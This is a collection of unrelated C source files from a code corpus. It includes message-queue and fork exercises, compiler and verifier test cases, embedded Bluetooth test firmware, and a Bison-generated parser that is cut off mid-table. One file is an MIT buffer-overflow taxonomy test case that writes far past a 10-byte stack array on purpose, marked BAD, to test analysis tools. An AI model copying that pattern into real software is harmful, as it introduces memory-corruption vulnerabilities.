// Determine max. msg size; allocate buffer to receive msg
if (mq_getattr(queue, &attr))
{
perror("mq_getattr\n");
exit(-1);
}
buf = malloc(attr.mq_msgsize);
if (buf == NULL)
{
perror("malloc");
exit(-1);
}
size = mq_receive(queue, buf, attr.mq_msgsize, NULL);
if (size == -1)
{
perror("mq_receive\n");
exit(-1);
}
pthread_mutex_lock(&mutex);
printf("Received message \"%s\"\n", buf);
fflush(stdout);
free(buf);
msg_count ++;
pthread_mutex_unlock(&mutex);
}
int main(int argc, char** argv)
{
mqd_t msg_queue = mq_open("/CprE308-Queue", O_RDWR | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP, NULL);
if(msg_queue == -1)
{
perror("mq_open\n");
return -1;
}
// Determine max. msg size; allocate buffer to receive msg
struct mq_attr attr;
char *buf;
if (mq_getattr(msg_queue, &attr))
{
perror("mq_getattr\n");
exit(-1);
}
buf = malloc(attr.mq_msgsize);
if (buf == NULL)
{
perror("malloc");
exit(-1);
}
sleep(10);
ssize_t size;
size = mq_receive(msg_queue, buf, attr.mq_msgsize, NULL);
if (size == -1)
{
perror("mq_receive\n");
exit(-1);
}
printf("Received message \"%s\"\n", buf);
size = mq_receive(msg_queue, buf, attr.mq_msgsize, NULL);
if (size == -1)
{
perror("mq_receive\n");
exit(-1);
}
printf("Received message \"%s\"\n", buf);
free(buf);
char my_string[] = "I am Clara";
char my_string2[] = "I am Rose";
if( mq_send(msg_queue, my_string, strlen(my_string), 12))
{
perror("mq_send\n");
return -1;
}
if( mq_send(msg_queue, my_string2, strlen(my_string2), 12))
{
perror("mq_send\n");
return -1;
}
return 0;
}
|
the_stack_data/112007.c | /* Taxonomy Classification: 0000000100000162000310 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 1 variable
* ADDRESS COMPLEXITY 0 constant
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 0 none
* SECONDARY CONTROL FLOW 1 if
* LOOP STRUCTURE 6 non-standard while
* LOOP COMPLEXITY 2 one
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 3 4096 bytes
* CONTINUOUS/DISCRETE 1 continuous
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
int inc_value;
int loop_counter;
char buf[10];
inc_value = 4105 - (4105 - 1);
loop_counter = 0;
while(loop_counter += inc_value)
{
/* BAD */
buf[loop_counter] = 'A';
if (loop_counter >= 4105) break;
}
return 0;
}
|
the_stack_data/135741.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define N 125
int main ( ) {
int a[N]; int e;
int i = 0;
while( i < N && a[i] != e ) {
i = i + 1;
}
int x;
for ( x = 0 ; x < i ; x++ ) {
__VERIFIER_assert( a[x] != e );
}
return 0;
}
|
the_stack_data/200143796.c | foo (a, b, p)
short *p;
{
p[0] = a;
p[1] = b;
}
|
the_stack_data/821415.c | /* Copyright (C) 2003 Free Software Foundation.
Check that constant folding of mathematical expressions doesn't
break anything.
Written by Roger Sayle, 24th August 2003. */
/* { dg-do run } */
/* { dg-options "-O2 -ffast-math" } */
void abort(void);
double foo(double x)
{
return 12.0/(x*3.0);
}
double bar(double x)
{
return (3.0/x)*4.0;
}
int main()
{
if (foo(2.0) != 2.0)
abort ();
if (bar(2.0) != 6.0)
abort ();
return 0;
}
|
the_stack_data/206393764.c | #include <stdio.h>
int main(){
float preco_gas_br, preco_gas_eua, cotacao, compar;
scanf("%f", &preco_gas_eua);
scanf("%f", &preco_gas_br);
scanf("%f", &cotacao);
compar = (preco_gas_eua * cotacao) / 3.8;
printf("Gasolina EUA: R$ %.2f",compar);
printf("\nGasolina Brasil: R$ %.2f",preco_gas_br);
if (compar == preco_gas_br){
printf("\nIgual");
}else{
if (compar < preco_gas_br){
printf("\nMais barata nos EUA");
}
if (compar > preco_gas_br){
printf("\nMais barata no Brasil");
}
}
} |
the_stack_data/91522.c | /* main.c - light demo */
/*
* Copyright (C) 2015-2018 Alibaba Group Holding Limited
*/
#ifdef CONFIG_DUT_TEST_CMD
#include <aos/aos.h>
#include <aos/kernel.h>
#include <misc/byteorder.h>
#include <hal/soc/gpio.h>
#include <hal/soc/pwm.h>
#include "inc/time_scene_server.h"
#ifdef BOARD_BK3633DEVKIT
#include "gpio_pub.h"
#endif
#include "light_board.h"
#include "uart_test_cmd.h"
#include "intc_pub.h"
volatile uint8_t g_dut_flag = 0;
uint8_t g_fcc_testing = 0;
static cpu_stack_t *uart_dut_task;//[UART_TEST_TASK_STACK/sizeof(cpu_stack_t)];
static ktask_t uart_dut_task_obj;
extern volatile DUT_TEST_BUG_T *gp_dut_data;
extern u8 ATE_mode;
uint8_t get_ATE_flag(void)
{
if(icu_get_reset_reason() == REG_ATE)
{
g_dut_flag= 1;
ATE_mode =1;
icu_set_reset_reason(REG_NONE);
}
else
{
g_dut_flag= 0;
ATE_mode =0;
}
// printf("%s %d flag:%d \r\n", __func__, __LINE__, g_dut_flag);
return g_dut_flag;
}
uint8_t get_fcc_testing_flg()
{
return g_fcc_testing;
}
uint8_t set_fcc_testing_flg(uint8_t flg)
{
g_fcc_testing = flg;
}
void dut_init(void)
{
int ret;
//add genie app init func
genie_flash_init();
hci_driver_init();
ret = bt_enable(NULL);
if (ret) {
BT_INFO("init err %d", ret);
}
}
static void uart_dut_main(void)
{
while(1)
{
hal_aon_wdt_feed();
if(gp_dut_data->dut_len != 0)
{
//the cmd too long
if(gp_dut_data->dut_len > HCI_DATA_LEN)
{
bk_printf("uart2 cmd too long\r\n");
}
else
{
//hci cmd
if (uart_rx_dut_cmd(&(gp_dut_data->dut_data[0]), gp_dut_data->dut_len) == 0)
{
}
else
{
printf("uart2 recved unkown data: ");
for(uint8_t i = 0; i < gp_dut_data->dut_len; i++)
{
printf("%02X ", gp_dut_data->dut_data[i]);
}
printf("\r\n");
}
}
gp_dut_data->dut_len = 0;
memset(gp_dut_data->dut_data, 0, HCI_DATA_LEN);
}
}
}
int uart_dut_task_create(void)
{
uart_dut_task = (uint32_t *)aos_malloc(UART_TEST_TASK_STACK);
return krhino_task_create(&uart_dut_task_obj, "uart_dut_cmd", NULL,
UART_DUT_TASK_PRIO, 0, uart_dut_task,
UART_TEST_TASK_STACK / sizeof(cpu_stack_t),
(task_entry_t)uart_dut_main, 1);
}
int uart_dut_init(void)
{
int ret;
printf("%s, %d\r\n", __func__, __LINE__);
gp_dut_data = (struct DUT_TEST_BUG_T *)aos_malloc(sizeof(DUT_TEST_BUG_T));
if (gp_dut_data == NULL) {
return ENOMEM;
}
memset((struct DUT_TEST_BUG_T *)gp_dut_data, 0, sizeof(DUT_TEST_BUG_T));
UART_PRINTF("%s, %d\r\n", __func__, __LINE__);
ret = uart_dut_task_create();
if (ret != 0) {
UART_PRINTF("Error: Failed to create uart_test thread: %d\r\n", ret);
}
return 0;
}
int dut_test_start(int argc, char **argv)
{
printf("++++ %s +++++\r\n", __func__);
dut_init();
uart_dut_init();
uart_test_init();
app_rf_power_init(); //set 0x40
app_xtal_cal_init(); // set 0x08 for 7db
return 0;
}
#endif
|
the_stack_data/20449296.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_toupper.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: heloufra <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/11/10 17:30:34 by heloufra #+# #+# */
/* Updated: 2021/11/10 17:32:10 by heloufra ### ########.fr */
/* */
/* ************************************************************************** */
int ft_toupper(int c)
{
if (c >= 'a' && c <= 'z')
return (c - ('a' - 'A'));
return (c);
}
|
the_stack_data/71064.c | #include <stdio.h>
#include <stdlib.h>
int main ()
{
char ch;
int n1,n2;
do
{
printf("\n********************************************\n");
printf("Enter number,operator and number\n");
scanf("%d%c%d",&n1,&ch,&n2);
switch(ch)
{
case '+': printf("Answer is %d\n",n1+n2);break;
case '-': printf("Answer is %d\n",n1-n2);break;
case '*': printf("Answer is %d\n",n1*n2);break;
case '/': printf("Answer is %d\n",n1/n2);break;
default: printf("Try again\n");
}
}while(ch!=27);
return 0;
} |
the_stack_data/56722.c | /*
Assignment 1 question 1 zombie
Create a child process and assign task of computing the Fibonacci series.
*/
#include <sys/types.h>
#include <stdio.h>
int fibonacci(int n){
if(n<=2)
return 1;
else
return fibonacci(n-1)+fibonacci(n-2);
}
int main(){
printf("parent process created\n");
int n;
pid_t pid=fork();
if(pid<0){
printf("failed to create child process\n");
}else if(pid==0){
printf("enter n \n");
scanf("%d",&n);
printf("child process is calculating fibonacci series\n");
printf(" fib(n)=%d \n",fibonacci(n));
}else{
sleep(8);
printf("parent process is being executed\n");
}
if(pid!=0){
printf("parent process ends\n");
}
return 0;
}
|
the_stack_data/167329579.c | /* A Bison parser, made by GNU Bison 3.0.4. */
/* Bison implementation for Yacc-like parsers in C
Copyright (C) 1984, 1989-1990, 2000-2015 Free Software Foundation, Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/* As a special exception, you may create a larger work that contains
part or all of the Bison parser skeleton and distribute that work
under terms of your choice, so long as that work isn't itself a
parser generator using the skeleton or a modified version thereof
as a parser skeleton. Alternatively, if you modify or redistribute
the parser skeleton itself, you may (at your option) remove this
special exception, which will cause the skeleton and the resulting
Bison output files to be licensed under the GNU General Public
License without this special exception.
This special exception was added by the Free Software Foundation in
version 2.2 of Bison. */
/* C LALR(1) parser skeleton written by Richard Stallman, by
simplifying the original so-called "semantic" parser. */
/* All symbols defined below should begin with yy or YY, to avoid
infringing on user name space. This should be done even for local
variables, as they might otherwise be expanded by user macros.
There are some unavoidable exceptions within include files to
define necessary library symbols; they are noted "INFRINGES ON
USER NAME SPACE" below. */
/* Identify Bison output. */
#define YYBISON 1
/* Bison version. */
#define YYBISON_VERSION "3.0.4"
/* Skeleton name. */
#define YYSKELETON_NAME "yacc.c"
/* Pure parsers. */
#define YYPURE 0
/* Push parsers. */
#define YYPUSH 0
/* Pull parsers. */
#define YYPULL 1
/* Copy the first part of user declarations. */
#line 1 "c.y" /* yacc.c:339 */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
typedef struct{
char name[32];
int addr;
} Var;
Var vars[256];
int vars_i = 0;
#define VAR_ORG 192
int label_i = 0;
Var *search_var(const char *name){
int i;
for(i = 0; i < vars_i; i++){
if (strcmp(vars[i].name, name) == 0) return &vars[i];
}
return NULL;
}
#line 91 "c.tab.c" /* yacc.c:339 */
# ifndef YY_NULLPTR
# if defined __cplusplus && 201103L <= __cplusplus
# define YY_NULLPTR nullptr
# else
# define YY_NULLPTR 0
# endif
# endif
/* Enabling verbose error messages. */
#ifdef YYERROR_VERBOSE
# undef YYERROR_VERBOSE
# define YYERROR_VERBOSE 1
#else
# define YYERROR_VERBOSE 0
#endif
/* In a future release of Bison, this section will be replaced
by #include "c.tab.h". */
#ifndef YY_YY_C_TAB_H_INCLUDED
# define YY_YY_C_TAB_H_INCLUDED
/* Debug traces. */
#ifndef YYDEBUG
# define YYDEBUG 0
#endif
#if YYDEBUG
extern int yydebug;
#endif
/* Token type. */
#ifndef YYTOKENTYPE
# define YYTOKENTYPE
enum yytokentype
{
auto_s = 258,
register_s = 259,
static_s = 260,
extern_s = 261,
typedef_s = 262,
void_t = 263,
char_t = 264,
short_t = 265,
int_t = 266,
long_t = 267,
float_t = 268,
double_t = 269,
signed_t = 270,
unsigned_t = 271,
struct_t = 272,
union_t = 273,
const_q = 274,
volatile_q = 275,
if_s = 276,
else_s = 277,
switch_s = 278,
while_s = 279,
do_s = 280,
for_s = 281,
goto_s = 282,
continue_s = 283,
break_s = 284,
return_s = 285,
cbopen = 286,
cbclose = 287,
comma = 288,
colon = 289,
sbopen = 290,
sbclose = 291,
bopen = 292,
bclose = 293,
etc = 294,
semicolon = 295,
condition_o = 296,
boolor_o = 297,
booland_o = 298,
or_o = 299,
xor_o = 300,
and_o = 301,
eq_o = 302,
neq_o = 303,
lt_o = 304,
gt_o = 305,
lte_o = 306,
gte_o = 307,
lshift_o = 308,
rshift_o = 309,
plus_o = 310,
minus_o = 311,
ast = 312,
div_o = 313,
mod_o = 314,
inc_o = 315,
dec_o = 316,
sizeof_o = 317,
ref_o = 318,
rref_o = 319,
write_o = 320,
mulw_o = 321,
divw_o = 322,
modw_o = 323,
addw_o = 324,
subw_o = 325,
lshiftw_o = 326,
rshiftw_o = 327,
andw_o = 328,
xorw_o = 329,
orw_o = 330,
compw_o = 331,
invw_o = 332,
identifier = 333,
integer = 334
};
#endif
/* Value type. */
#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
union YYSTYPE
{
#line 26 "c.y" /* yacc.c:355 */
int ival;
char sval[1024];
#line 216 "c.tab.c" /* yacc.c:355 */
};
typedef union YYSTYPE YYSTYPE;
# define YYSTYPE_IS_TRIVIAL 1
# define YYSTYPE_IS_DECLARED 1
#endif
extern YYSTYPE yylval;
int yyparse (void);
#endif /* !YY_YY_C_TAB_H_INCLUDED */
/* Copy the second part of user declarations. */
#line 233 "c.tab.c" /* yacc.c:358 */
#ifdef short
# undef short
#endif
#ifdef YYTYPE_UINT8
typedef YYTYPE_UINT8 yytype_uint8;
#else
typedef unsigned char yytype_uint8;
#endif
#ifdef YYTYPE_INT8
typedef YYTYPE_INT8 yytype_int8;
#else
typedef signed char yytype_int8;
#endif
#ifdef YYTYPE_UINT16
typedef YYTYPE_UINT16 yytype_uint16;
#else
typedef unsigned short int yytype_uint16;
#endif
#ifdef YYTYPE_INT16
typedef YYTYPE_INT16 yytype_int16;
#else
typedef short int yytype_int16;
#endif
#ifndef YYSIZE_T
# ifdef __SIZE_TYPE__
# define YYSIZE_T __SIZE_TYPE__
# elif defined size_t
# define YYSIZE_T size_t
# elif ! defined YYSIZE_T
# include <stddef.h> /* INFRINGES ON USER NAME SPACE */
# define YYSIZE_T size_t
# else
# define YYSIZE_T unsigned int
# endif
#endif
#define YYSIZE_MAXIMUM ((YYSIZE_T) -1)
#ifndef YY_
# if defined YYENABLE_NLS && YYENABLE_NLS
# if ENABLE_NLS
# include <libintl.h> /* INFRINGES ON USER NAME SPACE */
# define YY_(Msgid) dgettext ("bison-runtime", Msgid)
# endif
# endif
# ifndef YY_
# define YY_(Msgid) Msgid
# endif
#endif
#ifndef YY_ATTRIBUTE
# if (defined __GNUC__ \
&& (2 < __GNUC__ || (__GNUC__ == 2 && 96 <= __GNUC_MINOR__))) \
|| defined __SUNPRO_C && 0x5110 <= __SUNPRO_C
# define YY_ATTRIBUTE(Spec) __attribute__(Spec)
# else
# define YY_ATTRIBUTE(Spec) /* empty */
# endif
#endif
#ifndef YY_ATTRIBUTE_PURE
# define YY_ATTRIBUTE_PURE YY_ATTRIBUTE ((__pure__))
#endif
#ifndef YY_ATTRIBUTE_UNUSED
# define YY_ATTRIBUTE_UNUSED YY_ATTRIBUTE ((__unused__))
#endif
#if !defined _Noreturn \
&& (!defined __STDC_VERSION__ || __STDC_VERSION__ < 201112)
# if defined _MSC_VER && 1200 <= _MSC_VER
# define _Noreturn __declspec (noreturn)
# else
# define _Noreturn YY_ATTRIBUTE ((__noreturn__))
# endif
#endif
/* Suppress unused-variable warnings by "using" E. */
#if ! defined lint || defined __GNUC__
# define YYUSE(E) ((void) (E))
#else
# define YYUSE(E) /* empty */
#endif
#if defined __GNUC__ && 407 <= __GNUC__ * 100 + __GNUC_MINOR__
/* Suppress an incorrect diagnostic about yylval being uninitialized. */
# define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN \
_Pragma ("GCC diagnostic push") \
_Pragma ("GCC diagnostic ignored \"-Wuninitialized\"")\
_Pragma ("GCC diagnostic ignored \"-Wmaybe-uninitialized\"")
# define YY_IGNORE_MAYBE_UNINITIALIZED_END \
_Pragma ("GCC diagnostic pop")
#else
# define YY_INITIAL_VALUE(Value) Value
#endif
#ifndef YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
# define YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
# define YY_IGNORE_MAYBE_UNINITIALIZED_END
#endif
#ifndef YY_INITIAL_VALUE
# define YY_INITIAL_VALUE(Value) /* Nothing. */
#endif
#if ! defined yyoverflow || YYERROR_VERBOSE
/* The parser invokes alloca or malloc; define the necessary symbols. */
# ifdef YYSTACK_USE_ALLOCA
# if YYSTACK_USE_ALLOCA
# ifdef __GNUC__
# define YYSTACK_ALLOC __builtin_alloca
# elif defined __BUILTIN_VA_ARG_INCR
# include <alloca.h> /* INFRINGES ON USER NAME SPACE */
# elif defined _AIX
# define YYSTACK_ALLOC __alloca
# elif defined _MSC_VER
# include <malloc.h> /* INFRINGES ON USER NAME SPACE */
# define alloca _alloca
# else
# define YYSTACK_ALLOC alloca
# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS
# include <stdlib.h> /* INFRINGES ON USER NAME SPACE */
/* Use EXIT_SUCCESS as a witness for stdlib.h. */
# ifndef EXIT_SUCCESS
# define EXIT_SUCCESS 0
# endif
# endif
# endif
# endif
# endif
# ifdef YYSTACK_ALLOC
/* Pacify GCC's 'empty if-body' warning. */
# define YYSTACK_FREE(Ptr) do { /* empty */; } while (0)
# ifndef YYSTACK_ALLOC_MAXIMUM
/* The OS might guarantee only one guard page at the bottom of the stack,
and a page size can be as small as 4096 bytes. So we cannot safely
invoke alloca (N) if N exceeds 4096. Use a slightly smaller number
to allow for a few compiler-allocated temporary stack slots. */
# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */
# endif
# else
# define YYSTACK_ALLOC YYMALLOC
# define YYSTACK_FREE YYFREE
# ifndef YYSTACK_ALLOC_MAXIMUM
# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM
# endif
# if (defined __cplusplus && ! defined EXIT_SUCCESS \
&& ! ((defined YYMALLOC || defined malloc) \
&& (defined YYFREE || defined free)))
# include <stdlib.h> /* INFRINGES ON USER NAME SPACE */
# ifndef EXIT_SUCCESS
# define EXIT_SUCCESS 0
# endif
# endif
# ifndef YYMALLOC
# define YYMALLOC malloc
# if ! defined malloc && ! defined EXIT_SUCCESS
void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */
# endif
# endif
# ifndef YYFREE
# define YYFREE free
# if ! defined free && ! defined EXIT_SUCCESS
void free (void *); /* INFRINGES ON USER NAME SPACE */
# endif
# endif
# endif
#endif /* ! defined yyoverflow || YYERROR_VERBOSE */
#if (! defined yyoverflow \
&& (! defined __cplusplus \
|| (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL)))
/* A type that is properly aligned for any stack member. */
union yyalloc
{
yytype_int16 yyss_alloc;
YYSTYPE yyvs_alloc;
};
/* The size of the maximum gap between one aligned stack and the next. */
# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1)
/* The size of an array large to enough to hold all stacks, each with
N elements. */
# define YYSTACK_BYTES(N) \
((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \
+ YYSTACK_GAP_MAXIMUM)
# define YYCOPY_NEEDED 1
/* Relocate STACK from its old location to the new one. The
local variables YYSIZE and YYSTACKSIZE give the old and new number of
elements in the stack, and YYPTR gives the new location of the
stack. Advance YYPTR to a properly aligned location for the next
stack. */
# define YYSTACK_RELOCATE(Stack_alloc, Stack) \
do \
{ \
YYSIZE_T yynewbytes; \
YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \
Stack = &yyptr->Stack_alloc; \
yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \
yyptr += yynewbytes / sizeof (*yyptr); \
} \
while (0)
#endif
#if defined YYCOPY_NEEDED && YYCOPY_NEEDED
/* Copy COUNT objects from SRC to DST. The source and destination do
not overlap. */
# ifndef YYCOPY
# if defined __GNUC__ && 1 < __GNUC__
# define YYCOPY(Dst, Src, Count) \
__builtin_memcpy (Dst, Src, (Count) * sizeof (*(Src)))
# else
# define YYCOPY(Dst, Src, Count) \
do \
{ \
YYSIZE_T yyi; \
for (yyi = 0; yyi < (Count); yyi++) \
(Dst)[yyi] = (Src)[yyi]; \
} \
while (0)
# endif
# endif
#endif /* !YYCOPY_NEEDED */
/* YYFINAL -- State number of the termination state. */
#define YYFINAL 20
/* YYLAST -- Last index in YYTABLE. */
#define YYLAST 75
/* YYNTOKENS -- Number of terminals. */
#define YYNTOKENS 80
/* YYNNTS -- Number of nonterminals. */
#define YYNNTS 39
/* YYNRULES -- Number of rules. */
#define YYNRULES 62
/* YYNSTATES -- Number of states. */
#define YYNSTATES 79
/* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned
by yylex, with out-of-bounds checking. */
#define YYUNDEFTOK 2
#define YYMAXUTOK 334
#define YYTRANSLATE(YYX) \
((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
/* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM
as returned by yylex, without out-of-bounds checking. */
static const yytype_uint8 yytranslate[] =
{
0, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 1, 2, 3, 4,
5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24,
25, 26, 27, 28, 29, 30, 31, 32, 33, 34,
35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
45, 46, 47, 48, 49, 50, 51, 52, 53, 54,
55, 56, 57, 58, 59, 60, 61, 62, 63, 64,
65, 66, 67, 68, 69, 70, 71, 72, 73, 74,
75, 76, 77, 78, 79
};
#if YYDEBUG
/* YYRLINE[YYN] -- Source line where rule number YYN was defined. */
static const yytype_uint8 yyrline[] =
{
0, 44, 44, 45, 47, 48, 51, 53, 54, 55,
56, 59, 60, 63, 64, 65, 68, 71, 72, 75,
76, 79, 82, 83, 84, 87, 88, 91, 92, 95,
96, 99, 113, 114, 115, 116, 119, 120, 123, 124,
127, 128, 131, 133, 134, 137, 140, 143, 146, 149,
152, 155, 158, 161, 164, 167, 170, 173, 176, 179,
180, 183, 186
};
#endif
#if YYDEBUG || YYERROR_VERBOSE || 0
/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM.
First, the terminals, then, starting at YYNTOKENS, nonterminals. */
static const char *const yytname[] =
{
"$end", "error", "$undefined", "auto_s", "register_s", "static_s",
"extern_s", "typedef_s", "void_t", "char_t", "short_t", "int_t",
"long_t", "float_t", "double_t", "signed_t", "unsigned_t", "struct_t",
"union_t", "const_q", "volatile_q", "if_s", "else_s", "switch_s",
"while_s", "do_s", "for_s", "goto_s", "continue_s", "break_s",
"return_s", "cbopen", "cbclose", "comma", "colon", "sbopen", "sbclose",
"bopen", "bclose", "etc", "semicolon", "condition_o", "boolor_o",
"booland_o", "or_o", "xor_o", "and_o", "eq_o", "neq_o", "lt_o", "gt_o",
"lte_o", "gte_o", "lshift_o", "rshift_o", "plus_o", "minus_o", "ast",
"div_o", "mod_o", "inc_o", "dec_o", "sizeof_o", "ref_o", "rref_o",
"write_o", "mulw_o", "divw_o", "modw_o", "addw_o", "subw_o", "lshiftw_o",
"rshiftw_o", "andw_o", "xorw_o", "orw_o", "compw_o", "invw_o",
"identifier", "integer", "$accept", "c", "external-declarations",
"external-declaration", "function-definition", "declaration-specifiers",
"declaration-specifier", "storage-class-specifier", "type-specifier",
"type-qualifier", "declarator", "direct-declarator", "declarations",
"declaration", "init-declarators", "init-declarator",
"compound-statement", "statements", "statement", "expression-statement",
"expression", "assignment-expression", "conditional-expression",
"logical-or-expression", "logical-and-expression",
"inclusive-or-expression", "exclusive-or-expression", "and-expression",
"equality-expression", "relational-expression", "shift-expression",
"additive-expression", "multiplicative-expression", "cast-expression",
"unary-expression", "postfix-expression", "primary-expression",
"constant", "assignment-operator", YY_NULLPTR
};
#endif
# ifdef YYPRINT
/* YYTOKNUM[NUM] -- (External) token number corresponding to the
(internal) symbol number NUM (which must be that of a token). */
static const yytype_uint16 yytoknum[] =
{
0, 256, 257, 258, 259, 260, 261, 262, 263, 264,
265, 266, 267, 268, 269, 270, 271, 272, 273, 274,
275, 276, 277, 278, 279, 280, 281, 282, 283, 284,
285, 286, 287, 288, 289, 290, 291, 292, 293, 294,
295, 296, 297, 298, 299, 300, 301, 302, 303, 304,
305, 306, 307, 308, 309, 310, 311, 312, 313, 314,
315, 316, 317, 318, 319, 320, 321, 322, 323, 324,
325, 326, 327, 328, 329, 330, 331, 332, 333, 334
};
# endif
#define YYPACT_NINF -37
#define yypact_value_is_default(Yystate) \
(!!((Yystate) == (-37)))
#define YYTABLE_NINF -1
#define yytable_value_is_error(Yytable_value) \
0
/* YYPACT[STATE-NUM] -- Index in YYTABLE of the portion describing
STATE-NUM. */
static const yytype_int8 yypact[] =
{
-3, -37, -37, -37, -37, -37, -36, -37, 7, -37,
-3, -37, -36, 25, -37, -37, -37, 20, -8, -25,
-37, -37, 20, -37, -5, -18, 12, 25, -37, 0,
-37, 12, -37, -37, -37, -37, -37, -20, -37, 17,
-22, -37, 23, -37, -37, -37, -37, -37, -37, -37,
-37, -37, -37, -37, -37, -37, -1, -37, -37, -37,
-37, -37, 27, -36, -37, -37, -37, -37, -37, 34,
-37, -37, -37, -37, -24, -37, -37, -37, -37
};
/* YYDEFACT[STATE-NUM] -- Default reduction number in state STATE-NUM.
Performed when YYTABLE does not specify something else to do. Zero
means the default is an error. */
static const yytype_uint8 yydefact[] =
{
2, 16, 17, 18, 19, 20, 0, 22, 0, 3,
4, 6, 0, 11, 13, 14, 15, 0, 21, 0,
1, 5, 0, 12, 0, 0, 0, 25, 7, 0,
23, 0, 8, 35, 41, 59, 61, 0, 38, 0,
36, 39, 0, 42, 43, 45, 46, 47, 48, 49,
50, 51, 52, 53, 54, 55, 56, 57, 58, 60,
27, 31, 0, 29, 9, 26, 24, 10, 33, 0,
34, 37, 40, 62, 0, 28, 30, 32, 44
};
/* YYPGOTO[NTERM-NUM]. */
static const yytype_int8 yypgoto[] =
{
-37, -37, 37, -37, -37, 52, -37, -37, -37, -37,
-2, -37, 26, -37, 5, -37, 15, -16, -37, -37,
